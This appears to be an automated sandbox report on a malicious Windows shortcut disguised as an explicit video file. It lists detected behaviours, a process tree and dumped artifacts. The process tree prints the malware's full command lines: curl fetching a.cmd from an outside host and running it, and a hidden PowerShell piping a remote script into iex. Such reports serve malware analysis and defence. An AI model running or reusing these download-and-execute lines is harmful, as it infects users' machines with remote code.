Analysis
- max time kernel
148s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260617-en - resource tags
- submitted
26/06/2026, 04:27
General
- Target PACK8/teenslutpussyspread.mp4.lnk
- Size 699B
- Sample260626-e3f1rahw6l
- SHA256 4abe5d9e3867b9ac476d3af7a918b2b652605c844f418d2b5b3154f851852645
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Drops desktop.ini file(s) 7 IoCs
- Enumerates connected drives 3 TTPs 46 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
- Drops file in Windows directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Modifies registry class 4 IoCs
- Suspicious behavior: EnumeratesProcesses 3 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\PACK8\teenslutpussyspread.mp4.lnk1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /v:on /c (start "" ..\ㅤㅤ\teenslutpussyspread.mp4)&(curl.exe https://3gunit.com/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd)&(C:\Users\Admin\AppData\Local\Temp\a.cmd https://3gunit.com 106)2⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl.exe https://3gunit.com/leaks/a -H "auth: JNPN7CwV" -o C:\Users\Admin\AppData\Local\Temp\a.cmd3⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -WindowStyle Hidden -ExecutionPolicy Bypass -Command "& {param($u,$c); if (-not $u) { exit }; curl.exe \"$u/rAU.ps1\" | iex }" "https://3gunit.com" "106"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.exe"C:\Windows\system32\curl.exe" https://3gunit.com/rAU.ps14⤵
-
-
-
-
C:\Program Files (x86)\Windows Media Player\wmplayer.exe"C:\Program Files (x86)\Windows Media Player\wmplayer.exe" /Play -Embedding1⤵
- Drops desktop.ini file(s)
- Enumerates connected drives
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\unregmp2.exe"C:\Windows\System32\unregmp2.exe" /AsyncFirstLogon2⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\unregmp2.exe"C:\Windows\SysNative\unregmp2.exe" /AsyncFirstLogon /REENTRANT3⤵
- Enumerates connected drives
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p -s upnphost1⤵
- Drops file in Windows directory
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CurrentDatabase_400.wmdb
CurrentDatabase_400.wmdb
WMSDKNS.XML.bak
a.cmd
wmsetup.log
teenslutpussyspread.mp4.lnk
memory/2128-110-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-88-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-39-0x0000000007C30000-0x0000000007C40000-memory.dmp
memory/2128-40-0x0000000007C30000-0x0000000007C40000-memory.dmp
memory/2128-132-0x000000000B1C0000-0x000000000B1D0000-memory.dmp
memory/2128-49-0x0000000007C30000-0x0000000007C40000-memory.dmp
memory/2128-50-0x0000000007C30000-0x0000000007C40000-memory.dmp
memory/2128-52-0x0000000007C30000-0x0000000007C40000-memory.dmp
memory/2128-51-0x0000000007C30000-0x0000000007C40000-memory.dmp
memory/2128-131-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-90-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-130-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-127-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-128-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-126-0x000000000B1C0000-0x000000000B1D0000-memory.dmp
memory/2128-124-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-125-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-121-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-68-0x000000000B1C0000-0x000000000B1D0000-memory.dmp
memory/2128-69-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-70-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-72-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-73-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-74-0x000000000B1C0000-0x000000000B1D0000-memory.dmp
memory/2128-77-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-76-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-79-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-78-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-80-0x000000000B1C0000-0x000000000B1D0000-memory.dmp
memory/2128-82-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-81-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-83-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-85-0x000000000B1C0000-0x000000000B1D0000-memory.dmp
memory/2128-84-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-91-0x000000000B1C0000-0x000000000B1D0000-memory.dmp
memory/2128-87-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-122-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-101-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-38-0x0000000007C30000-0x0000000007C40000-memory.dmp
memory/2128-94-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-93-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-95-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-97-0x000000000B1C0000-0x000000000B1D0000-memory.dmp
memory/2128-96-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-99-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-98-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-89-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-102-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-103-0x000000000B1C0000-0x000000000B1D0000-memory.dmp
memory/2128-105-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-104-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-108-0x000000000B1C0000-0x000000000B1D0000-memory.dmp
memory/2128-107-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-106-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-37-0x0000000007C30000-0x0000000007C40000-memory.dmp
memory/2128-111-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-112-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-113-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-114-0x000000000B1C0000-0x000000000B1D0000-memory.dmp
memory/2128-116-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-117-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-118-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-119-0x000000000B0B0000-0x000000000B0C0000-memory.dmp
memory/2128-120-0x000000000B1C0000-0x000000000B1D0000-memory.dmp
memory/4352-55-0x0000023354240000-0x000002335425E000-memory.dmp
memory/4352-63-0x0000023354810000-0x000002335481A000-memory.dmp
memory/4352-62-0x0000023354290000-0x0000023354296000-memory.dmp
memory/4352-61-0x0000023354280000-0x0000023354288000-memory.dmp
memory/4352-60-0x00000233547F0000-0x000002335480C000-memory.dmp
memory/4352-59-0x0000023354270000-0x000002335427A000-memory.dmp
memory/4352-58-0x00000233547D0000-0x00000233547EE000-memory.dmp
memory/4352-57-0x0000023354260000-0x000002335426A000-memory.dmp
memory/4352-56-0x00000233542B0000-0x0000023354362000-memory.dmp
memory/4352-48-0x0000023354180000-0x00000233541A2000-memory.dmp